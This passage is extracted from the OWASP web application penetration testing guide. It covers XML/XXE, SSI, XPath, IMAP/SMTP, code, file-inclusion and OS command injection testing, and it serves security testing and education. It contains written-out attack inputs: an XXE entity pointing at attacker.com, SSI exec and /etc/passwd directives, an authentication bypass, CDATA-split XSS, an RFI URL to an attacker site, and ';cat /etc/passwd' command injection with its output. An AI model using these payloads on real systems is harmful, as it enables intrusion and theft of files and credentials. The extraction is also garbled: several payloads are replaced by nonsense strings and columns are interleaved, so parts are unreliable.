Double quote: - this character has the same meaning as single quote and it could be used if the attribute value is enclosed in

double quotes.
<node attrib=$inputValue/>
So if:
$inputValue = foo
the substitution gives:
<node attrib=foo/>
and the resulting XML document is invalid.
Angular parentheses: > and < - By adding an open or closed angular parenthesis in a user input like the following:
Username = foo<
the application will build a new node:
<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
but, because of the presence of the open <, the resulting XML
document is invalid.
Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of
them in Username parameter:
Username = foo<!-the application will build a node like the following:
<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
which wont be a valid XML sequence.
    jhe ampersand is used in the XML syntax to
j
is mapped to a character in the Unicode character set.
For example:

135

Web Application Penetration Testing

is well formed and valid, and represents the < ASCII character.
9LG
injection.
In fact, if an input like the following is provided:
n
a new node will be created:
<user>

<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>


CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are
used to escape blocks of text containing characters which would
otherwise be recognized as markup. In other words, characters
enclosed in a CDATA section are not parsed by an XML parser.
For example, if there is the need to represent the string <foo>
inside a text node, a CDATA section may be used:
<node>
<![CDATA[<foo>]]>
</node>
so that <foo> wont be parsed as markup and will be considered
as character data.
If a node is built in the following way:
<username><![CDATA[<$userName]]></username>
the tester could try to inject the end CDATA string ]]> in order to
try to invalidate the XML document.
userName = ]]>
this will become:
<username><![CDATA[]]>]]></username>
which is not a valid XML fragment.
Another test is related to CDATA tag. Suppose that the XML document is processed to generate an HTML page. In this case, the
CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML
tags, which will be included in the generated page, completely bypassing existing sanitization routines.

Lets consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user.
<html>
$HTMLCode
</html>
Then, an attacker can provide the following input:
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert(xss)<![CDATA[<]]>/script<![CDATA[>]]>
and obtain the following node:
<html>
<![CDATA[<]]>script<![CDATA[>]]>alert(xss)<![CDATA[<]]>/
script<![CDATA[>]]>
</html>
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:
<script>alert(XSS)</script>
The result is that the application is vulnerable to XSS.
External Entity:
The set of valid entities can be extended by defining new entities.
If the definition of an entity is a URI, the entity is called an external
entity. Unless configured to do otherwise, external entities force
the XML parser to access the resource specified by the URI, e.g.,
a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks,
which can be used to perform denial of service of the local system,
gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.
To test for XXE vulnerabilities, one can use the following input:
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L
foo>
This test could crash the web server (on a UNIX system), if the
XML parser attempts to substitute the entity with the contents of
the /dev/random file.
Other useful tests are the following:
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L

136

Web Application Penetration Testing

foo>
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L
foo>
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM http://www.attacker.com/text.txt

Tag Injection
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible
to try to inject XML data and tags. We will show an example of how
this can lead to a privilege escalation attack.
Lets considering the previous application. By inserting the following
values:
Username: tony
Password: Un6R34kb!e
E-mail: [email protected]</mail><userid>0</userid><mail>[email protected]
the application will build a new node and append it to the XML database:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail><userid>0</userid><mail>[email protected]</mail>
</user>
</users>

The resulting XML file is well formed. Furthermore, it is likely that, for
the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a
user with administrative privileges.
The only problem is that the userid tag appears twice in the last user
node. Often, XML documents are associated with a schema or a DTD
and will be rejected if they dont comply with it.
Lets suppose that the XML document is specified by the following
DTD:
<!DOCTYPE users [
<!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,mail+) >
<!ELEMENT username (#PCDATA) >
<!ELEMENT password (#PCDATA) >
<!ELEMENT userid (#PCDATA) >
<!ELEMENT mail (#PCDATA) >
]>
Note that the userid node is defined with cardinality 1. In this case, the
attack we have shown before (and other simple attacks) will not work,
if the XML document is validated against its DTD before any processing occurs.
However, this problem can be solved, if the tester controls the value of
some nodes preceding the offending node (userid, in this example). In
fact, the tester can comment out such node, by injecting a comment
start/end sequence:
Username: tony
Password: Un6R34kb!e</password><!-E-mail: --><userid>0</userid><mail>[email protected]
In this case, the final XML database is:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><!--</password>
<userid>500</userid>
<mail>--><userid>0</userid><mail>[email protected]</mail>
</user>
</users>

137

Web Application Penetration Testing

The original userid node has been commented out, leaving only
the injected one. The document now complies with its DTD rules.

web servers dont allow the use of the exec directive to execute
system commands.

Tools

As in every bad input validation situation, problems arise when the


user of a web application is allowed to provide data that makes
the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide input
that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or
more SSI directives.

XML Injection Fuzz Strings (from wfuzz tool) https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/


XML.txt
References
Whitepapers
Alex Stamos: Attacking Web Services http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt
Gregory Steuck, XXE (Xml eXternal Entity) attack,
http://www.securityfocus.com/archive/1/297714

Testing for SSI Injection (OTG-INPVAL-009)

Summary
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to
deal with full-fledged server-side or client-side languages. This
feature is incarnated by the Server-Side Includes (SSI). In SSI injection testing, we test if it is possible to inject into the application
data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into
HTML pages or even perform remote code execution.

This is a vulnerability very similar to a classical scripting language


injection vulnerability. One mitigation is that the web server needs
to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are
easy to understand and, at the same time, quite powerful, e.g.,
they can output the content of files and execute system commands.
How to Test
Black Box testing
The first thing to do when testing in a Black Box fashion is finding
if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just
need to discover which kind of web server is running on our target,
using classic information gathering techniques.

Server-Side Includes are directives that the web server parses


before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side
scripting languages, when theres only need to perform very simple tasks. Common SSI implementations provide commands to
include external files, to set and print web server CGI environment
variables, and to execute external CGI scripts or system commands.

Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the
content of the target web site. If it contains .shtml files, then SSI
are probably supported, as this extension is used to identify pages
containing these directives. Unfortunately, the use of the shtml
extension is not mandatory, so not having found any shtml files
doesnt necessarily mean that the target is not prone to SSI injection attacks.

Putting an SSI directive into a static HTML document is as easy as


writing a piece of code like the following:

The next step consists of determining if an SSI injection attack is


actually possible and, if so, what are the input points that we can
use to inject our malicious code.

<!--#echo var=DATE_LOCAL -->


to print out the current time.
<!--#include virtual=/cgi-bin/counter.pl -->
to include the output of a CGI script.
<!--#include virtual=/footer.html -->
to include the content of a file or list files in a directory.
<!--#exec cmd=ls -->
to include the output of a system command.
Then, if the web servers SSI support is enabled, the server will
parse these directives. In the default configuration, usually, most

The testing activity required to do this is exactly the same used to


test for other code injection vulnerabilities. In particular, we need
to find every page where the user is allowed to submit some kind
of input, and verify whether the application is correctly validating
the submitted input. If sanitization is insufficient, we need to test
if we can provide data that is going to be displayed unmodified (for
example, in an error message or forum post). Besides common
user-supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they
can be easily forged.
Once we have a list of potential injection points, we can check if
the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject
characters used in SSI directives:
< ! # = / . - > and [a-zA-Z0-9]
To test if validation is insufficient, we can input, for example, a
string like the following in an input form:

138

Web Application Penetration Testing

<!--#include virtual=/etc/passwd -->


This is similar to testing for XSS vulnerabilities using
<script>alert(XSS)</script>
If the application is vulnerable, the directive is injected and it would
be interpreted by the server the next time the page is served, thus
including the content of the Unix standard password file.
The injection can be performed also in HTTP headers, if the web
application is going to use that data to build a dynamically generated page:
GET / HTTP/1.0
Referer: <!--#exec cmd=/bin/ps ax-->
User-Agent: <!--#include virtual=/proc/version-->
Gray Box testing
If we have access to the application source code, we can quite
easily find out:
[1] If SSI directives are used. If they are, then the web server is
going to have SSI support enabled, making SSI injection at least
a potential issue to investigate.
[2] Where user input, cookie content and HTTP headers are
handled. The complete list of input vectors is then quickly
determined.
[3] How the input is handled, what kind of filtering is performed,
what characters the application is not letting through, and how
many types of encoding are taken into account.
Performing these steps is mostly a matter of using grep to find
the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input,
filtering functions and so on).

Tools

Web Proxy Burp Suite - http://portswigger.net


Paros - http://www.parosproxy.org/index.shtml
WebScarab
String searcher: grep - http://www.gnu.org/software/grep
References
Whitepapers
Apache Tutorial: Introduction to Server Side Includes
- http://httpd.apache.org/docs/1.3/howto/ssi.html
Apache: Module mod_include - http://httpd.apache.org/
docs/1.3/mod/mod_include.html
Apache: Security Tips for Server Configuration - http://httpd.
apache.org/docs/1.3/misc/security_tips.html#ssi
Header Based Exploitation - http://www.cgisecurity.net/papers/
header-based-exploitation.txt
SSI Injection instead of JavaScript Malware - http://
jeremiahgrossman.blogspot.com/2006/08/ssi-injectioninstead-of-javascript.html
IIS: Notes on Server-Side Includes (SSI) syntax - http://blogs.
iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-onserver-side-includes-ssi-syntax-kb-203064-revisited.aspx

Testing for XPath Injection (OTG-INPVAL-010)

Summary
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection
testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries.When successfully exploited,
this vulnerability may allow an attacker to bypass authentication
mechanisms or access information without proper authorization.
Web applications heavily use databases to store and access the
data they need for their operations.Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language.
Just like relational databases are accessed via SQL language, XML
databases use XPath as their standard query language.
Since, from a conceptual point of view, XPath is very similar to SQL
in its purpose and applications, an interesting result is that XPath
injection attacks follow the same logic as SQL Injection attacks. In
some aspects, XPath is even more powerful than standard SQL, as
its whole power is already present in its specifications, whereas a
large number of the techniques that can be used in a SQL Injection
attack depend on the characteristics of the SQL dialect used by
the target database. This means that XPath injection attacks can
be much more adaptable and ubiquitous.Another advantage of an
XPath injection attack is that, unlike SQL, no ACLs are enforced, as
our query can access every part of the XML document.
How to Test
The XPath attack pattern was first published by Amit Klein [1]
and is very similar to the usual SQL Injection.In order to get a first
grasp of the problem, lets imagine a login page that manages the
authentication to an application in which the user must enter his/
her username and password.Lets assume that our database is
represented by the following XML file:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
An XPath query that returns the account whose username is gandalf and the password is !c3 would be the following:

139

Web Application Penetration Testing

string(//user[username/text()=gandalf and password/text()=!c3]/account/text())


If the application does not properly filter user input, the tester will
be able to inject XPath code and interfere with the query result.
For instance, the tester could input the following values:
Username: or 1 = 1
Password: or 1 = 1

front-end web servers.Therefore, mail server results may be more


vulnerable to attacks by end users (see the scheme presented in
Figure 1).
WEBMAIL USER

Looks quite familiar, doesnt it? Using these parameters, the query
becomes:
INTERNET

string(//user[username/text()= or 1 = 1 and password/


text()= or 1 = 1]/account/text())
As in a common SQL Injection attack, we have created a query
that always evaluates to true, which means that the application
will authenticate the user even if a username or a password have
not been provided. And as in a common SQL Injection attack, with
XPath injection, the first step is to insert a single quote () in the
field to be tested, introducing a syntax error in the query, and to
check whether the application returns an error message.
If there is no knowledge about the XML data internal details and if the
application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack, whose goal is to reconstruct the whole data structure.
The technique is similar to inference based SQL Injection, as the
approach is to inject code that creates a query that returns one bit
of information. Blind XPath Injection is explained in more detail by
Amit Klein in the referenced paper.
References
Whitepapers
Amit Klein: Blind XPath Injection http://www.modsecurity.org/archive/amit/blind-xpathinjection.pdf
XPath 1.0 specifications - http://www.w3.org/TR/xpath

PUBLIC ZONE

WEBMAIL APPLICATION

PRIVATE ZONE (HIDDEN SERVERS)

Testing for IMAP/SMTP Injection


(OTG-INPVAL-011)

Summary
This threat affects all applications that communicate with mail
servers (IMAP/SMTP), generally webmail applications. The aim of
this test is to verify the capacity to inject arbitrary IMAP/SMTP
commands into the mail servers, due to input data not being properly sanitized.
The IMAP/SMTP Injection technique is more effective if the mail
server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing.
An IMAP/SMTP Injection makes it possible to access a mail server
which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same
level of infrastructure security and hardening that is applied to the

MAIL SERVERS

Figure 1 depicts the flow of traffic generally seen when using


webmail technologies. Step 1 and 2 is the user interacting with
the webmail client, whereas step 2 is the tester bypassing the
webmail client and interacting with the back-end mail servers
directly.
This technique allows a wide variety of actions and attacks. The
possibilities depend on the type and scope of injection and the
mail server technology being tested.
Some examples of attacks using the IMAP/SMTP Injection technique are:

140

Web Application Penetration Testing

Exploitation of vulnerabilities in the IMAP/SMTP protocol


Application restrictions evasion
Anti-automation process evasion
Information leaks
Relay/SPAM
How to Test
The standard attack patterns are:
Identifying vulnerable parameters
Understanding the data flow and deployment structure
of the client
IMAP/SMTP command injection
Identifying vulnerable parameters
In order to detect vulnerable parameters, the tester has to analyze the applications ability in handling input. Input validation
testing requires the tester to send bogus, or malicious, requests
to the server and analyse the response. In a secure application,
the response should be an error with some corresponding action
telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the
back-end application that will answer with a HTTP 200 OK response message.
It is important to note that the requests being sent should match
the technology being tested. Sending SQL injection strings for
Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious
IMAP commands is modus operandi since IMAP is the underlying
protocol being tested.
IMAP special parameters that should be used are:

On the IMAP server

On the SMTP server

Authentication

Emissor e-mail

operations with mail boxes


(list, read, create, delete,
rename)

Destination e-mail

operations with messages


(read, copy, move, delete)

Subject

Disconnection

Message body

Substitute the value with a random value:


MRj&9djL
Add other values to the parameter:
http://<webmail>/src/read_body.php?mailbox=INBOX PA`L&j&`L
Add non standard special characters (i.e.: \, , , @, #, !, |):
9MRL
Eliminate the parameter:
http://<webmail>/src/read_body.php?passed_
L
The final result of the above testing gives the tester three possible situations:
S1 - The application returns a error code/message
S2 - The application does not return an error code/message, but
it does not realize the requested operation
S3 - The application does not return an error code/message and
realizes the operation requested normally
Situations S1 and S2 represent successful IMAP/SMTP injection.
An attackers aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further
manipulation.
Lets suppose that a user retrieves the email headers using the
following HTTP request:
9MR

Attached files
In this example, the mailbox parameter is being tested by manipulating all requests with the parameter in:
9MRL
The following examples can be used.
Assign a null value to the parameter:

An attacker might modify the value of the parameter INBOX by


injecting the character (%22 using URL encoding):
http://<webmail>/src/view_header.php?mailbox=INBOX
In this case, the application answer may be:
ERROR: Bad or malformed request.
Query: SELECT INBOX
Server responded: Unexpected extra arguments to Select

141

Web Application Penetration Testing

The situation S2 is harder to test successfully. The tester needs


to use blind command injection in order to determine if the server is vulnerable.
On the other hand, the last situation (S3) is not revelant in this
paragraph.
Result Expected:
List of vulnerable parameters
Affected functionality
Type of possible injection (IMAP/SMTP)
Understanding the data flow and deployment structure of the
client
After identifying all vulnerable parameters (for example,
passed_id), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit
the application.
In this test case, we have detected that the applications
passed_id parameter is vulnerable and is used in the following
request:
9MRL
Using the following test case (providing an alphabetical value
when a numerical value is required):
9MRL
will generate the following error message:
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by
server.
In this example, the error message returned the name of the executed command and the corresponding parameters.
In other situations, the error message (not controlled by the
application) contains the name of the executed command, but
reading the suitable RFC (see Reference paragraph) allows the
tester to understand what other possible commands can be executed.
If the application does not return descriptive error messages, the
tester needs to analyze the affected functionality to deduce all
the possible commands (and parameters) associated with the
above mentioned functionality.
For example, if a vulnerable parameter has been detected in the
create mailbox functionality, it is logical to assume that the affected IMAP command is CREATE. According to the RFC, the
CREATE command accepts one parameter which specifies the
name of the mailbox to create.

Result Expected:
List of IMAP/SMTP commands affected
Type, value, and number of parameters expected by the
affected IMAP/SMTP commands
IMAP/SMTP command injection
Once the tester has identified vulnerable parameters and has
analyzed the context in which they are executed, the next stage
is exploiting the functionality.
This stage has two possible outcomes:
[1] The injection is possible in an unauthenticated state:
the affected functionality does not require the user to be
authenticated. The injected (IMAP) commands available are
limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN, and
LOGOUT.
[2] The injection is only possible in an authenticated state:
the successful exploitation requires the user to be fully
authenticated before testing can continue.
In any case, the typical structure of an IMAP/SMTP Injection is
as follows:
Header: ending of the expected command;
Body: injection of the new command;
Footer: beginning of the expected command.
It is important to remember that, in order to execute an IMAP/
SMTP command, the previous command must be terminated
with the CRLF (%0d%0a) sequence.
Lets suppose that in the stage 1 (Identifying vulnerable parameters), the attacker detects that the parameter message_id in
the following request is vulnerable:
http://<webmail>/read_email.php?message_id=4791
Lets suppose also that the outcome of the analysis performed
in the stage 2 (Understanding the data flow and deployment
structure of the client) has identified the command and arguments associated with this parameter as:
FETCH 4791 BODY[HEADER]
In this scenario, the IMAP injection structure would be:
http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
Which would generate the following commands:
???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]

142

Web Application Penetration Testing

where:
Header = 4791 BODY[HEADER]
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
Result Expected:
Arbitrary IMAP/SMTP command injection
References
Whitepapers
RFC 0821 Simple Mail Transfer Protocol.
RFC 3501 Internet Message Access Protocol - Version 4rev1.
Vicente Aguilera Daz: MX Injection: Capturing and Exploiting
Hidden Mail Servers - http://www.webappsec.org/projects/
articles/121106.pdf

Testing for Code Injection


(OTG-INPVAL-012)

Summary
This section describes how a tester can check if it is possible to
enter code as input on a web page and have it executed by the
web server.
In Code Injection testing, a tester submits input that is processed
by the web server as dynamic code or as an included file. These
tests can target various server-side scripting engines, e.g.., ASP
or PHP. Proper input validation and secure coding practices need
to be employed to protect against these attacks.
How to Test
Black Box testing
Testing for PHP Injection vulnerabilities
Using the querystring, the tester can inject code (in this example,
a malicious URL) to be processed as part of the included file:
Result Expected:
http://www.example.com/uptime.php?pin=http://www.

The malicious URL is accepted as a parameter for the PHP page,


which will later use the value in an included file.
Gray Box testing
Testing for ASP Code Injection vulnerabilities
Examine ASP code for user input used in execution functions.
Can the user enter commands into the Data input field? Here, the
ASP code will save the input to a file and then execute it:
<%
If not isEmpty(Request( Data ) ) Then
Dim fso, f
User input Data is written to a file named data.txt
Set fso = CreateObject(Scripting.FileSystemObject)
Set f = fso.OpenTextFile(Server.MapPath( data.txt ), 8, True)
z`#G
f.close
Set f = nothing
Set fso = Nothing

Data.txt is executed
Server.Execute( data.txt )
Else
%>
<form>
<input name=Data /><input type=submit name=Enter
Data />
</form>
<%
End If
%>)))
References
Security Focus - http://www.securityfocus.com
Insecure.org - http://www.insecure.org
Wikipedia - http://www.wikipedia.org
Reviewing Code for OS Injection

Testing for Local File Inclusion

Summary
The File Inclusion vulnerability allows an attacker to include a file,
usually exploiting a dynamic file inclusion mechanisms implemented in the target application. The vulnerability occurs due to
the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file,
but depending on the severity, it can also lead to:
Code execution on the web server
Code execution on the client-side such as JavaScript which can
lead to other attacks such as cross site scripting (XSS)
Denial of Service (DoS)
Sensitive Information Disclosure
Local File Inclusion (also known as LFI) is the process of including
files, that are already locally present on the server, through the
exploiting of vulnerable inclusion procedures implemented in the
application. This vulnerability occurs, for example, when a page
receives, as input, the path to the file that has to be included and
this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although
most examples point to vulnerable PHP scripts, we should keep
in mind that it is also common in other technologies such as JSP,
ASP and others.
How to Test
Since LFI occurs when paths passed to include statements are
not properly sanitized, in a blackbox testing approach, we should
look for scripts which take filenames as parameters.
Consider the following example:
http://vulnerable_host/preview.php?file=example.html
This looks as a perfect place to try for LFI. If an attacker is lucky
enough, and instead of selecting the appropriate page from the

143

Web Application Penetration Testing

array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.
Typical proof-of-concept would be to load passwd file:
http://vulnerable_host/preview.php?file=../../../../etc/passwd
If the above mentioned conditions are met, an attacker would
see something like the following:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...
Very often, even when such vulnerability exists, its exploitation is a
bit more complex. Consider the following piece of code:
<?php include/.include($_GET[filename]..php); ?>
In the case, simple substitution with arbitrary filename would not
work as the postfix php is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will
be ignored. Thus, the following request will also return an attacker
list of basic users attributes:
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
References
Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
Remediation
The most effective solution to eliminate file inclusion vulnerabilities
is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white
list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any
request containing an invalid identifier has to be rejected, in this way
there is no attack surface for malicious users to manipulate the path.

Testing for Remote File Inclusion

Summary
The File Inclusion vulnerability allows an attacker to include a file,
usually exploiting a dynamic file inclusion mechanisms implemented in the target application. The vulnerability occurs due to the use of
user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but
depending on the severity, it can also lead to:
Code execution on the web server
Code execution on the client-side such as JavaScript which can lead

to other attacks such as cross site scripting (XSS)


Denial of Service (DoS)
Sensitive Information Disclosure
Remote File Inclusion (also known as RFI) is the process of including
remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for
example, when a page receives, as input, the path to the file that has
to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable
PHP scripts, we should keep in mind that it is also common in other
technologies such as JSP, ASP and others.
How to Test
Since RFI occurs when paths passed to include statements are not
properly sanitized, in a blackbox testing approach, we should look for
scripts which take filenames as parameters. Consider the following
PHP example:
$incfile = $_REQUEST[file];
include($incfile..php);
In this example the path is extracted from the HTTP request and no
input validation is done (for example, by checking the input against a
white list), so this snippet of code results vulnerable to this type of
attack. Consider infact the following URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
In this case the remote file is going to be included and any code contained in it is going to be run by the server.
References
Whitepapers
Remote File Inclusion - http://projects.webappsec.org/w/
page/13246955/Remote%20File%20Inclusion
Wikipedia: Remote File Inclusion - http://en.wikipedia.org/wiki/
Remote_File_Inclusion
Remediation
The most effective solution to eliminate file inclusion vulnerabilities
is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white
list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any
request containing an invalid identifier has to be rejected, in this way
there is no attack surface for malicious users to manipulate the path.

Testing for Command Injection (OTG-INPVAL-013)

Summary
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP
request to the application.
OS command injection is a technique used via a web interface in
order to execute OS commands on a web server. The user supplies
operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized

144

Web Application Penetration Testing

is subject to this exploit. With the ability to execute OS commands,


the user can upload malicious programs or even obtain passwords.
OS command injection is preventable when security is emphasized
during the design and development of applications.
How to Test
When viewing a file in a web application, the file name is often shown
in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol | onto the end
of the file name.
Example URL before alteration:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Example URL modified:
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
This will execute the command /bin/ls.
Appending a semicolon to the end of a URL for a .PHP page followed
by an operating system command, will execute the command. %3B is
url encoded and decodes to semicolon
Example:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Example
Consider the case of an application that contains a set of documents
that you can browse from the Internet. If you fire up WebScarab, you
can obtain a POST HTTP like the following:
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Doc=Doc1.pdf

If the application doesnt validate the request, we can obtain the following result:
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Doc=Doc1.pdf+|+Dir c:\
In this case, we have successfully performed an OS injection attack.
Exec Results for cmd.exe /c type C:\httpd\public\
doc\Doc=Doc1.pdf+|+Dir c:\
Output...
Il volume nellunit C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0

145

Web Application Penetration Testing

Tools

OWASP WebScarab
OWASP WebGoat
References
White papers
http://www.securityfocus.com/infocus/1709
Remediation
Sanitization
The URL and form data needs to be sanitized for invalid characters. A blacklist of characters is an option but it may be difficult
to think of all of the characters to validate against. Also there
may be some that were not discovered as of yet. A white list
